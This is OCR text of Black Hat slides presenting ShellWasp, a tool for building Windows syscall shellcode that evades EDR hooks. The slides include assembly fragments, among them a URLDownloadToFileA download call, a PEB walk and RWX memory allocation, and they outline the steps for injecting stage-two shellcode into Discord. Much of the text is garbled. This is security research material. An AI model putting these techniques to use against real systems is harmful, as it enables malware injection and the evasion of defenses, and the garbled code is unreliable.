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Oxc6 mov edi, dword ptr fs: [6x30]
; load TIE

excd mov edi, dword ptr [edi + ©xc]
; load PEB_LDR_DATA LoaderData

oxdé mov edi, dword ptr [edi + ©x14]
; LIST_ENTRY InMemoryOrderModulelist

label @xd3:
= == 'u,q;s://*' T — pr— ?'d
. SheIIcode is used in or as PN L' il e

— This is done by walking the and traversing the PE
file format to reach the

==

=
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\\\\:
\
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et BxSS lea esi, [edx + ©x1f2]
= pa rt Of 40x5e lea edi, [edx + ©x214]

=ox64 push eax

> push eax

push edi

push esi

push eax

push dword ptr [edx + ©xlcf]
pop eax

call eax

; call to URLDownloadToFileA
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— Some malware has more sophisticated, complex
shellcode.
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What is a Wmdows Syscall?

A callis made by some functlons in
the as a way to request a

from the kernel.

The Windows syscall is the last step from us

to

In Windows, syscalls are not intended to ever be
used by programmers.

Windows syscalls utilize a special
(551V), which is placed in the

register.

are also known as
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The AIIure of Wmdows Syscalls:@
: . W % ;g%,ig .;y,u 4&" Fiyy G N :f
Windows syscalls has become a hlghly trendy red _team toplc for people who

create custom software.

& 4 It largely has NOT been used for shellcode, however. |
o, Malicious WinAPIs can be hooked by EDR, preventing their usage. Lﬁ; g{-
This is with Windows syscalls. ;Tm:%;
»‘ Thus, functionality implemented by Windows syscalls is :

Wlndows syscaIIs can be an outstandlng way to evade EDR
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Windows Syscalls are “Undocumented”

Because Microsoft does not intend for syscalls to be used directly, these are regarded as
“undocumented” — meaning that Microsoft generally does not provide documentation on these.

A few dozen out of hundreds are actually documented on their web site.

Rarely, they are forced to document some that become popular, so that antivirus efforts can better identify their usage by
malware authors.

ﬂ Undocumented means they are undocumented by Microsoft.
A Many NTDLL functions be found in

Not all NTDLL functions have a one-to-one correspondence with syscalls, but many any that site can also be used as syscalls. ’ )

Numerous other syscalls are described in numerous web sources, blogs, forums, etc.

by Gary Nebbet

Parts are out of date, but lots of expert insight into NTDLL.
Undocumented means that usage and implementation details can and do change without notice.

Though often many remain the same or very similar.
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Our Research Syscalls in Shellcode

o P  ¢&T . o TE ’ [EELELE P > - R . _ Vg
We are Iookmg at creatmg shellcode for applications running on

emulation.

WoW64 lets us execute 32-bit applications on a 64-bit processor.

WoW64 = Windows on Windows (64-bit)

Can we create shellcode that is — devoid of WinAPI calls? #

WinAPI usage is the de facto standard for 99.9% of shellcode, in terms of /
achieving functionality. |

¥
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portability with syscalls.

& Syscall System Service Numbers (SSNs) can change with each release / OS build.
| Many important syscalls remain the same across many releases, changing infrequently.
Others change more often.

* This makes them inherently unreliable across different OS builds!
* If you were to hardcode a SSN, it could work in one moment, and then a month later the needed SSN has changed.
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Syscalls A Serlous Problem of Portabll
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Windows B Windows Windows . Windows Windows .
XP Server Vista Server Wlnld_-:éws 7 Server 8 Wlnclic_:dws 10
System Call Symbol {show) l'?sﬁg\i} (show) l'?sﬁg\i R l'?sﬁi\i'} (show) —

SPO SP1 1507 | 1511 1607 | 1703 | 1709 | 1803 | 1809 | 1903
NtAcceptConnectPort 0x0060 | 0x0060 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002
NtAccessCheck 0x0061 | 0x0061 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000
NtAccessCheckAndAuditAlarm 0x0026 | 0x0026 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029
NtAccessCheckByType 0x0062 | 0x0062 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063
NtAccessCheckByTypeAndAuditAlarm 0x0056 | 0x0056 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059
NtAccessCheckByTypeResultlist 0x0063 | 0x0063 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064
NtAccessCheckByTypeResultListAndAuditAlarm 0x0064 | 0x0064 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065
NtAccessCheckByTypeResultlistAndAuditAlarmByHandle 0x0065 | 0x0065 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066
NtAcquireCMFViewOwnership
NtAcguireCrossVmMutant
NtAcquireProcessActivityReference 0x0067 | 0x0067 | 0x0067 | 0x0067 | 0x0067
NtAddAtom 0x0044 | 0x0044 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047
NtAddAtomEx 0x0067 | 0x0067 | 0x0067 | 0x0068 | 0x0068 | 0x0068 | 0x0068 | 0x0068
NtAddBootEntry 0x0066 | 0x0066 0x006E | 0x0068 | Ox0068 | 0x0069 | Ox0069 | 0x0069 | Ox0069 | Ox0069




Hlstory of SyscaII Usage |n Shellcode

C..

Egghunters: Egghunters use a syscall to search process memory; Syscall

used to check to see if memory is valid.

If memory is valid, it will check each byte for a special, unique tag.
is frequently used for this purpose.

Syscall shellcode from 2005: This is the only non-Egghunter usage of

syscalls in shellcode.

Four syscalls: . , , and

PoC shellcode by Piotr Bania to set a registry key to cause a binary to be launched upon
rebooting.

* ) )
. i §
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History of Syscalls in the Modern Era

-
= A

A 2018 report by Hod Gavriel about syscall usage in malware.

) ’ ) ] ] ] ) and

This included dual loading of NTDLL.

This report was , leading to red-team syscall tools that would follow in the next year.-

Some malware would dynamically parse NTDLL for syscall values.

malware searched for “cmp, 0xb8” to find mov opcode (b8) and then copied syscall number
and other instructions.

SheIIWasp Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp
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And Now, Some Syscall Tools
Y Y 4 v J
/&/ 4 &V,
— PoC syscall tool, in response to malware research.
Showed how syscalls can be used for LSASS memory dump with Cobalt Strike.
Uses do determine OS version.

Very seldom used.

, by Cornelis de Plaa and stanhegt, of Outflank

— Generates 64-bit header / Assembly file implants |

to use syscalls in software made with Visual Studio.
Uses 64-bit PEB to determine OS build.

Popular but replaced by SysWhispers 2.
// , by Jackson T.

A y »~ y 4 A y 4 y 4 . Y 4
ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com
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Deducing Syscall ID from Function Addresses!

— A new way to generate syscalls, without syscalls tables.

ElephantSe4l saw a relationship between addresses of NTDLL function stub and
SSNs.

Walks PEB and parses export table to reach NTDLL.

Parses NTDLL and sorts by address, starting with entries beginning with Nt. Elephantsed]

, by ElephantSe4l.

— A total re-imagining of SysWhispers, borrowing
ElephantSe4l’s sorting by address technique to deduce syscall ID from
function address.

Primary difference: sorts NTDLL functions that start with Zw instead of Nt.

Hashses & order saved; determines SSN, based on order, incrementing by 1.

Jackson T. Twitter

, by Jackson T.
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Hell’s Gate and Its Twin Sister

— Searches for mov opcode, 0xb8.

— |f found, it extracts the WORD (2 bytes) next to it.

— June 2020, by Paul Lainé and smelly__vx (@amOnsec)

. AMAVYYS.

» Halo’s Gate — A refmement on Hell’s Gate

— Endpoint Detection and Response (EDR) was overwriting parts of the NTDLL
function stub, making Hell’s Gate not work.

';"%’ * |t didn’t do this for every NTDLL function.
— Halo’s Gate finds NTDLL function before or after the modified NTDLL function.
* It would add or subtract by 1, based on proximity to modified NTDLL function.

(< * This builds upon sorting by addresses logic to allow Hell’s Gate to work even if parts of it
N\ are made unsuable by EDR. 22N
g — April 2021, by ReenzO0h, of Sektor7 ﬁ{ % \~.,

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #EHMEAEE | WWW. blackhat com https://github.com/Bw3Il/ShellWasp
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SysWhispers2 with x86/WOWG64 support, egg-hunting,

D @S 0 T retew —_— o " o W o T,
(X X ‘
“ aas s a follow up to my blog post about SysWhispers, I'm
As a foll bl bout SysWhi I
_ Recent fork Of SySWhISperSZ releasing SysWhispers3, an Inceptor-friendly version of
some u pgrades direct jumps, and randomized jumps to
i syscall/sysenter instruction. More info in the repo:

First to support x86/WoW64 Assembly / header pairs g
files for implants to use with making syscalls. klezVirus/

SysWhispers2 added this as well. ' SYSWhISperS3

oids //EDR evasion

Replaces syscall instruction with an egg—added stealth—
changed back dynamically.

, by klezVirus

. . 235 Retweets 2 Quote Tweets 502 Likes
»

" .

o‘. ..

P .21‘-'-« il B i
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What is the “secret” behind most of these
techniques?

Most of these techniques will work if the is able to )
from one NTDLL function to the next.

That predictable logic has allowed syscall IDs effectively to be deduced from clues.

Most of the “modern” tools are built upon this premise: ,

) V4
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Parsing NTDLL for Syscall Values

Some tools out there to simply parse NTDLL and obtain syscall values are
Again, they may truncate a value, taking a WORD (2 bytes) instead of a DWORD (4 bytes).

Most (if not all) operate outside a debugger/disassembler and have dozens of inaccuracies.

| created a script for that can allow you to obtain accurate syscall results.

| usea secondary can then turn it into a Python dictionary for

ntdll!NtWorkerFactoryWorkerReady L1
ntdll!NtMapUserPhysicalPagesScatter L1
ntdll!NtWaitForMultipleObjects32 L1
ntdll!NtReplyWaitReceivePortEx L1
ntdll!NtQueryDefaultUILanguage L1
ntdll!NtApphelpCacheControl L1
ntdll!NtCreateProcessEx L1
ntdll!NtIsProcessInJob L1
ntdll!NtAccessCheckByTypeAndAuditAlarm L1 i Ro—
ntdll!NtTraceEvent L1 7o guiidllﬂﬁnpmmdp
ntdll!NtPowerInformation L1 ﬂ%&llunnpphﬁnla:haimnlul
ntdll!NtAccessCheckByType L1
ntdll!NtAccessCheckByTypeResultList L1
ntdll!NtAccessCheckByTypeResultListAndAuditAlarm L1
ntdll!NtAccessCheckByTypeResultListAndAuditAlarmByHandle L1
ntdll!NtAddAtomEx L1

W ool wv Bwmp

I _._.._It.l—'” ]:l

CC C C C C C C C C C C C C C C
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Reverse Engineering
Windows Syscalls



Windows 7 WoW64

\ AN é\ \\ ““w.‘\‘\ \\\\ Y
Q N N \Rw Qe L\
ENTRA ‘:‘\&e-‘e.ﬁs& DR

In Wmdows 7 Wow64, the syscaII can be fouhd via

The IS register points to the

0:009> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory
777fface b815000000 mov eax,

777ffac5 33c9 xor ecx,ecx

777ftfac7 8d542404 lea edx, [esp+4]
777ffacb 64ff15c0000000 call dword ptr
777ftfad2 83c404 add esp,4
777ffad5 c21800 ret 18h

holds the (syscall service number).

This one points to NtAllocateVirtualMemory

N EWCR

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp



Windows 7: WoW64

\ RS
%\'\\“““g“\\‘\\\‘. R

N
' S
AN x RS

AT ESETN

We can dereference the + :cB fmd a pomter to our far jump.

We then jump to 64-bit mode.

The segment selector denotes 64-bit mode; = 32bit mode

0:009> dd [EHeE
0053:000000c0 [EEIVEPL] 00000409 00000000 00000000

MO >
LLEE

73962320 eale2796733300 jmp 0033:7396271E
/3962327 0000 add

What is at ?

It points us to in

By default, this is hidden from the PEB.
Itisa , in 32-bit address space.

The far jump goes to in

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp



Windows 10

There is a hardcoded offset in NTDLLthat I"eads to the system call.

leads to

0:000> u ntdll!ntallocatevirtualmemory

ntdll!NtAllocateVirtualMemory:

76fe2bl0 b818000000 mov

76fe2b15 bal088ff76 mov Set ntdll!Wow64SystemServiceCall ([ZEELEYL)
76fe2bla ffd2 call

76fe2blc 21800 ret

76fe2blf 90 nop

ntdll!Wow64SystemServiceCall:
77358870 12528923177 jmp dword ptr [ntdll!Wow64Transition ([EELEXPE) ]

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp



Windows 10

leads us to a , With code execution transitioning from

32-to

ntdll!Wow64SystemServiceCall:
77358870 2528923177 jmp dword ptr [ntdll!Wow64Transition ([AEREr¥L:) ]

0:000> dd ELEFYE:
76167000 77099000 00000000 0OV

7667000 €a0970t6763300 0033:76F67009

76167007 0000 byte ptr [eax],al
7667009 41 i ecx
76f6700a ffa7{8000000 j dword ptr [edi+OF8h]

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp
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lgnoring Wow64SystemServiceCall?

|Al s |
* The new way with and
76fe2bl5 bale88ff76 mov edx,offset ntdll!Wow64SystemServiceCall (Rt )

: S
ntdll!Wow64SystemServiceCall:

77358870 12528923177 ntdll!Wow64Transition

0:000> dd
7667000 76167000 77099000 00000000 0000

e But the old Windows 7 way with still works - backwards compatibility!
0:000> dd fs:co

0053:000000c0 7667000 00000409 00VVVVLRO 0LV

* Both and lead to our far jump to 64-bit mode!
* Both of these point to

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3ll/ShellWasp



Windows 11°

0:000> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory:
77884d50 b813000000 m eax,|18h

oV

77884d55 ba408f8a77 mov edx,offset ntdll!RtlInterlockedCompareExchange64+0x180
(77828 40)

77884d5a ffd2

77884d5c ¢c21800
77884d5f 90

0:000> U [EEEERRY «—

ntdll!Wow64SystemServiceCall:

778a8f40 f12520c29377 jmp dword ptr [ntdll!Wow64Transition (7793c220) ]
778a8f46 cc int

I,

0:000> dd 7793c220 _
7793C220 pEAUSIAY9\ 7/793C000 00000000 00000000

0:000> u pEAlfs19elY
77806000 €2096080773300 jmp 0033:77806009

* The old method of invoking syscalls still works!

0:000> dd
SV REEREE 0053 : 000000c0  PFEAYEIEEY 00000409 00000000 VYV




Building
Syscall Shellcode
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Windows Releases

 Syscall SSNs change with
each new release of
Windows.

 We can determine the
release by matching it to the
OS build number.

* This information can be
retrieved purely through
shellcode via introspection.

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode

Windows 10

OS Release OS Build OS Build
Name Number (Hex)

511 TH2

#BHMEA22 | www.blackhat.com

Windows 11

OS Release OS Build OS Build
Name Number (Hex)

Preview
Preview

Preview
Preview
Win. Server 2022

OS Release OS BuildOS Build
Name Number (Hex)

https://github.com/Bw3ll/ShellWasp



Walking the PEB

* We can walk the Process Environment Block
(PEB) to find useful pieces of information.

ULONG OSMajorVersion; //0xad
ULONG OSMinorVersion; //0xa8
* OSBuildNumber is all we actually need if USHORT OSBuildNumber; //@xac
Windows 10. 0:000> dd @0ccd0e0 +Bxac
_Itis at offset OxAC from the start of the PEB POccAPac  0PPALabd 0OOVV0D2 0VREL03 VOOV

— You could use OSMajorVersion and
OSMinorVersion to check if different OS version

* As with anything PEB-related, we can find
the PEB at fs:[0x30].

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp



ldentifying OSMajorVersion &

OSMinorVersion

* OSMajorVersion & OSMinorVersion can
determine which version of Windows.

* The PEB combined with these to identify
older versions versions of Windows.

B:909> dd 7efdebBbd +Bxad
7Jefdebad  PBOOBO0GE 0BEEERE1 81081dbl 80BBBEB2

B:089> dd 7etdeBBd +8xal8
7JetfdeBal OP0B8001 01681dbl 60680062 B0BBBEE3

ULONG OSMajorVersion; //0xad
ULONG OSMinorVersion; //Oxa8
USHORT OSBuildNumber; //@xac

0:000> dd 00ccadPe0 +0xad
@BccdBad 000000a 0000 BPBEdatd S0EEH2

0:000> dd 00ccdPe0 +0xald
GBccddal8 0000000 0000datd B0 2 20000063

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp



Let’s Turn This into Shellcode

» Only minimal Assembly is needed to get mov ebx, fs:[6x30]
OSBuildNumber. mov ebx, [ebx+@xac]
PB5312b3 642130000000 mov eax,dword ptr fs:[00000030h ]

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com https://github.com/Bw3Il/ShellWasp



AN

ourSyscall:
cmp dword ptr [edi-Ox4],0xa
jne win?7

winle:
call dword ptr fs:[0xcO]
ret

ourSyscall:
XOr ecx, ecx
lea edx, [esp+4]

" win7:

call dword ptr fs:[0xcO] oursyscall: XOr ecx, ecx

add esp, 4 call dword ptr fs:[@xcO] lea edx, [esp+4]

ret ret call dword ptr fs:[0xcO]
= 0 add esp, 4
g ret

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | WWW. blackhat com https://github.com/Bw3Il/ShellWasp



mov ebx, fs:[©x30]

mov ebx,
mov ecx, esp
sub esp, ©x1060
cmp bl, exé4

jl lessl

push éxl1d

push ©x1a©ee38
push ©x18b
Ipush ex55

push ©x18

|jmp saveSyscallArray
lessl:

cmp bl, ©x62

jl less2

push exld

push ©x8

push ex18b

push ©x55

push ©x18

jmp saveSyscallArray
less2:

cmp bl, ©xFe

jl end

push exld

push ©x1a©ee8

push ©x194

push ©x55

push ©x18

saveSyscallArray:
mov edi, esp
mov esp, ecx

[ebx+@xac] «—

s e e s e M s s e s e

s e e s e

Syscall Initializer Shellcode

21H2, Winl@ release

* This inifializer is if you are
targeting only one OS.

NtCreateKey
NtWriteFile
NtSetContextThread
NtCreateFile
NtAllocateVirtualMemory

20H2, Winle release‘*~\\\\\\\\\\\\\\\\\\‘
NtCreateKey

; creating space on

the stack to hold our :

Checking for versions.
NtWriteFile For most of these we only need to look at one
NtSetContextThread byte to see if there is match.
NtCreateFile

NtAllocateVirtualMemory

21H2, Winll release Pushing

the stack, placing them in the
NtCreateKey

NtWriteFile
NtSetContextThread
NtCreateFile
NtAllocateVirtualMemory

Our syscall values now can be referenced

from , pointing to the :




eax, fs:[©x30]

5 o IS gyscall Initializer Shellcode

sub esp, Bxleeék\:::=§k

enp b, exsa . 2142, Winte release « This initializer is for targeting
jl lessl . . /

push éxld ; NtCreateKey bOTh Wlﬂ 7 Ond Wln] O ] ] .
push ©x1a©008 ; NtWriteFile

push ©x18b ; NtSetContextThread

push @x55 ; NtCreateFile . i

push ex18 : NtAllocateVirtualMemory g creatlng space on

jmp saveSyscallArray the stack to hold our :

lessl:

cmp

bl, exFe ; 21H2, Winll release
jl less2 "‘\‘5\5\5““-~_§__\~\~§§- ) )
push @xld ; NtCreateKey Checkmg for versions.

push @x1aeees ; NtWriteFile For most of these we only need to look at one
push ©x194 ; NtSetContextThread : :

lpush x5S . NtCreateFile byte to see if there is match.

push 6x18 ; NtAllocateVirtualMemory

jmp saveSyscallArray

less2:

|cmp bl, exBl ; Win7, Spl release :

1 end Pushing

push exla 5 NtCreateKey the stack, placing them in the

push ©x5 ;5 NtWriteFile

|push ©x15e ; NtSetContextThread

push ©x52 ; NtCreateFile

push @x15 ; NtAllocateVirtualMemory Our syscall values now can be referenced
| S

saveSyscallArray: from , pointing to the :
push eax

mov edi, esp . D . :

add edi, Ox4 OS Major Version is accessible via

mov esp, ecx



B

a8 = |
\ Our Syscall Array

AT y i

After the , we have a , accessiblevia |, to reach our
syscall service numbers.

9:000> dd edi
P115ed7c ©0RER18b 0REER174 OREPRR6R PEPPRO1d

NtReplaceKey NtCreateKey

NtSetContextThread NtSetValueKey
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Syscall Array

Our Sysca" Array Location | Syscall SSN
edi NtSetContextThread 0x18b

* We can use entries in our syscall array to
set the SSN before making the syscall. edi + 0x4 NtReplacekey Ox174

edi + Ox8 NtSetValueKey 0x60
edi + Oxc NtCreateKey Ox1d

mov eax, [edi+0x4] mov eax, [edi+Ox8]

call ourSyscall call ourSyscall

mov eax, [edi] mov eax, [edi + Oxc]

call ourSyscall

call ourSyscall

ourSyscall:
call dword ptr fs:[0xcO]
ret
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Pointer to Syscall Array

e We want to and then our
to the
e We use and on

* Making a syscall will cause many values in
registers to be lost.

 Syscall array eradicates

P:000> dd edi

©115ed7c 0000O18b POORO174 ©OPOOR6O GLEOEO1d ;mov eax,

ourSyscall:
call dword ptr fs:[0xcO]
ret

. 2 %
et s [
- G2 g
B * hiE V1 .
"y . A
"
4 Y # ".&"!. !
Y74

Ry

R

s e

DR SRR o S
AN > T 8 2

R O
. - e

call ou

—~ -

mov edi, [esp+Ox2c]

L

[edi]
rSyscall

oAl a9
b
-.)./'
i

7

}»tla,

Push

parameters

SSN

syscall

Cleanup

Restore




NWEWER F
A Tool for
Syscall Shellcode
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O https://github.com/Bw3ll/ShellWasp

- %kk;, .
" T S TWEWEN
O =% U 5 ;-

%65 WA . 3%;06K"%D == f-

%; %A% %%ip/; O e e,

a; Wk /v \;%p I M-t * Automates building templates of syscall shellcode.
JIN' 1T\ % Myt B e\
\ SN % %N\
J" % % m:: J% _\__
-=\=" _% m |Jj Tadade\ \
/= \==_;,_%%; % -_  / * Nearly all user-mode syscalls supported.
/ /- =~ Hdde; ey T--__/
//= ==%-%%; %; % i : .
f U e All the ones | could find function prototypes for.
\ =,-" d%d; ;%%;
// % 3%k;
/1 % .
\ %% * Solves the syscall portability problem.
v
l/:I—I I—IT\ 7 — Uses PEB to identify OS build.
Il T T INN AN 7
N NS NN T \ — Creates Syscall Array
_)III /l'H\/\/(_I\ D) |

I
\
\/ N\ \__,_|l_/ ._/
I
I

Supports Windows 7/10/11

v.1l: Bramwell Brizendine, 2822 — Uses eXiSting Sysca” tables.
Build syscall shellcode. — Uses newly created syscall tables for newer versions of Windows
Add or modify syscalls. 10 & 11

Save config file [config.cfg] with current selections.

- Add or modify Windows releases.
- Display options.

JnNn 2 H O

SysShellcode> 22 | www.blackhat.com https://github.com/Bws3ll/ShellWasp



ShellWasp

* Users can easily and quickly rearrange syscalls in
shellcode.

Syscalls have been rearranged.

Current Syscall Selections:

NtWriteFile

NtClose

NtSetContextThread

NtCreateFile

NtAllocateVirtualMemory

NtWriteFile

NtCreateKey
SysShellcode>Syscalls>
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| SysShellcode>WinReleases> a

Windows 1©:
ri4 22H2
ri3 21H2
ri2 21H1
ril 20H2
rie 2004
ro 1909
r8 1903
r7 1809
ré 1803
r5 1709
r4 1703
r3 1607
r2 1511
ri 1507
¢ - Clear current sel

R
[X]
[X]

rD r~rTersTeeersrsrsrTreraE e
r"l—ll—ll—ll—ll—ll—ll—ll—ll—ll—ll—l

C

ions.

ShellWasp: Releases

e Easy to select desired Windows releases via config file

or Ul.

* Can save changes made to config.

* All the newest OS builds of Windows 10/11 are supported!

Windows 7:
spl SP1 [X]
spe SPO [ ]
Windows 11:
b2 22H2 [X]
bl 21H2 [X]

ShellWasp: Weaponizing Windows Syscalls in Modern Shellcode #BHMEA22 | www.blackhat.com
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ShellWasp: Config file

The config file, config.cfg, makes it easy to save your selections.

[Windows 18]
r21h2 = True
r22H2 = True

r2ih1 - Trve Can preload desired syscalls and Windows releases via config file or Ul.

r2804 - False
rl19@9 = False

r1903 - False Can save changes made to config.

rl889 = False
rl883 = False
rl789 = False
rl703 = False
rlee? = False
r1511 = False

F1507 = False Users can enter selections directly into the config file via a text editor or
tho - Falee through the user interface.

spl = True

[Windows 11]
b21HZ = True
b22H2 = True

[SYSCALLS]

selected_syscalls = ["NtAllocateVirtualMemory', 'NtQuerySystemInformation', 'NtOpenProcess’, 'NtCreateFile', 'NtCreateSection', 'NtMapViewOfSection', 'NtProtectVirtualMemory',
‘NtWriteVirtualMemory', 'NtCreateThreadEx', 'NtWaitForSingleObiject']

[MISC)
print_string_literal_of_bytes = False
show_comments = True
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. — ShellWasp: Optimizing Syscall Array

!

ShellWasp will optimize the syscall array to minimize wasted bytes.

¥ If you use the same syscall multiple times, there will be only one entry for the syscall that will be
reused.

ShellWasp only checks the last byte of the OS build code, keeping size smaller.

Rather than checking every possible OS build ever created, ShellWasp only checks the OS
builds (releases) you select.

Most people have not disabled automatic updates of Windows, so they will likely have a fairly recent
version of whichever OS they use.

It is absurd to attempt every single OS.

The syscall array is fairly generic. You can recreate it at any time and add it to an existing
shellcode, to update an existing shellcode for new OS builds that may come out.

Because the syscall is calculated at runtime, everything in the “meat” of the shellcode is generic —
nothing is hardcoded!
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push
push
push
push
push
push
push
push
push
push
push
push

mov eax, [edi+©x4]

call

mov edi, [esp+Ox2c]

push
push
push
push
push
push
push
push

edi

X000
OX00000000
X000
X000
©xX00000000
X000
X000
©x00000000
X000
X000
X000

ourSyscall

(99

ULONG EalLength R
PVOID EaBuffer @ ol
ULONG CreateOptions L
ULONG CreateDisposition S h EI Iwa S p e |
ULONG ShareAccess ;’
ULONG FileAttributes -
PLARGE_INTEGER AllocationSize

PIO_STATUS BLOCK IoStatusBlock ° 1

POBJECT_ATTRIBUTES ObjectAttributes Creates template Wlth a” Sysca”S
ACCESS_MASK DesiredAccess selected.

PHANDLE FileHandle

e Ve W W

e Wer Wwe W e

-

* Labels syscall parameter names and

; NtCreateFile syscall ) . .
types in vivid colors.

 Utilizes syscall array.

edi «—

©xX00000000
X000
X000
©xX00000000
X000
X000
X000

mov eax, [edi]

call

mov edi, [esp+Oxilc]

ourSyscall

_ * Will automatically populate with SSNs.

; PULONG Disposition
; ULONG CreateOptions

; ULONG TitleIndex /

; POBJECT_ATTRIBUTES ObjectAttributes «—

; ACCESS_MASK DesiredAccess
; PHANDLE pKeyHandle

Loading value from
NtCreateKey syscall

Restore syscall array




ShellWasp: Invoking the Syscall

* ShellWasp analyzes the selected OS builds to
determine how to build the shellcode.

* If you are only Windows 10/11 OS builds, then the modern
way of invoking a syscall is needed.

* If you are doing only Windows 7, then the older style of

ourSyscall: ; Syscall Function . Ki Il ded

e dhaard pte fedi-0xdT, o invoking a syscall is needed.

I e * If you want to consider a combination of Windows 7 and

winl®: ; Windows 10/11 Syscall 10/11, then you need both.

i:tl dword ptr fs:[@xce] * In this case, ShellWasp adds extra code to check the Windows
version.

win7: ; Windows 7 Syscall  The Windows version # is saved before the syscall array, for

Al By Eek eacsy access.

lea edx, [esp+4]

call dword ptr fs:[©xc@] — Otherwise, if not combining Windows 7 with 10/11, then

add esp, 4 ShellWasp does not check the OS version, as it is completely

ret unnecessary.

This syscall function supports Win 7 and 10/11.
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Creating Shellcode with Windows Syscalls

Create a shellcode that uses exclusively Windows syscalls, with no WinAPIs.

If we can achieve this, we

There are vastly fewer syscalls than there are WinAPIs, meaning the functionality
that can be achieved is more limited.

Create a a shellcode that comprised of Windows syscalls that can inject another
shellcode into a separate process, then causing that to start.

It must be able to across multiple operating systems and

This is the really tricky part. If we hardcode syscall IDs, it is not truly portable.

Windows 7 and Windows 10/11 both use slightly different mechanisms to perform the Wow64
syscall initialization.

Thus, shellcode that is not build with this in mind will only work on one OS.
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Steps for Process Injectlon W|th Syscalls

Create a reglon of memory to hold our

Generate a listing of on the system via
SystemProcessinformation

Parse through the SystemProcessinformation results to
(PID) for our target app, Discord.

Open a handle to our target process, Discord.

Create a to our , Where we will hide our stage two
shellcode.
Create a to

of urlmon.dll into the target process, Discord.
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Steps for Process Injection with Syscalls
\

Change the for our newly mapped

to
Write our stage two shellcode into Discord,

it inside of urlmon.dll

, telling it where to begin execution — which will be at the start of
our stage two shellcode

Cause that shellcode to begin

T 2%
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- : - etk e B 2 T TN — ~ : -
- . - -~ - . ) - = . — = " -~ T - -
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p— - ” - -!*: -~ . » —n '».‘ N - -~ - b-— - -y - —‘x‘

o — _— - - - P > o ~-— - - = w s —— %~ ~ s > ~ e W e,
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- I e . - > o e » - - * > Ve - " e
257 - B r - 7 £ —r - ~—— v - E= - > . W S
- - 4 - - - L - - ~ - .
L - - - p » = - o w ~ . % - e
)y o ~ < - - L s -, - » - ~ - ~
> = > > 4 ~ P 3N » L = pt\\ ~ - - . ?.- -~ -,) 3 - - e s -
.y T > - N - ’ S - - <> _— A~ -& 3 -~ -~ AN N ~
v - — 4 s > L& = ~S ’ - R P - L 3 - - ~
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.."f‘t'-loi

»

NtAIIocatvetuaIMemory

NtQuerySystemInformatlo‘n;‘f;:f'“'

NtOpenProcess
NtCreateFile
NtCreateSection
NtMapViewofSection
NtProtectVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject

40)

.;o 0 . % ‘ &5 ‘.‘ 8
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Create a Region of Memory

A region of memory is needed to for our N RN CE WIRUEN oo

IN HANDLE ;

IN OUT PVOID .
In an environment with many actives processes, you will IN ULONG :
need a lot of space. IN OUT PULONG ;

IN ULONG X
Creating separate memory — rather than using existing IN ULONG );

memory, such as heap or stack, is better, as potentially this
could be large.

will return us an allocation with
our desired memory permissions.
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Create a Reglon of Memory

Wy dword ptr [ebp - 0x18], Ox600000 ; Initialize size of memory

restart:
push edi ; Save pointer to syscall array
push 0x40 ; ULONG Protect, If a type , Weé
xor ebx, ebx need to provide a to that
push 0x3000 ; ULONG Protect value or structure.
lea ebx, dword ptr[ebp - 0x18]
push ebx ; PSIZE T RegionSize If the type does not begin with a
XOr ecx, ecx P, then we provide the value
push ecx ; ULONG_PTR ZeroBits directly, as with the handle.
mov dword ptr[ebp - 0x280], O
lea ebx, dword ptr[ebp - 0x280] -1= —thatisa
push ebx ; PVOID *BaseAddress, shorthand for the
push -1 ; HANDLE ProcessHandle
for Protect specifies
mov eax, [edi+0x24] ; Load pointer to NtAllocateVirtualMemory syscall
call ourSyscall ; Initiate syscall
mov edi, [esp+0x18] ; Restore pointer to syscall array
push edi ; Save pointer to syscall array
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Create a SystemProcessinformation Structure

. A Processintormation. Will contain an exhaustive - NTAPI NtQuerySysteminformation(
listing of all active processes. IN SYSTEM_INFORMATION_CLASS
Once we have this, we can search through it to IN OUT PVOID ) ’
of our target process, Discord.exe. IN ULONG ;
g : OUT PULONG
This in order to get a handle to the )
process.

No PID = no handle.

No handle = you cannot do anything!

can return many types of
system information.

is just one option of numerous
possibilities.
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internal class [SystemProcessintormation| |

internal
internal

long Sparelil;

SystemProcessinformation Structure

This offset takes us
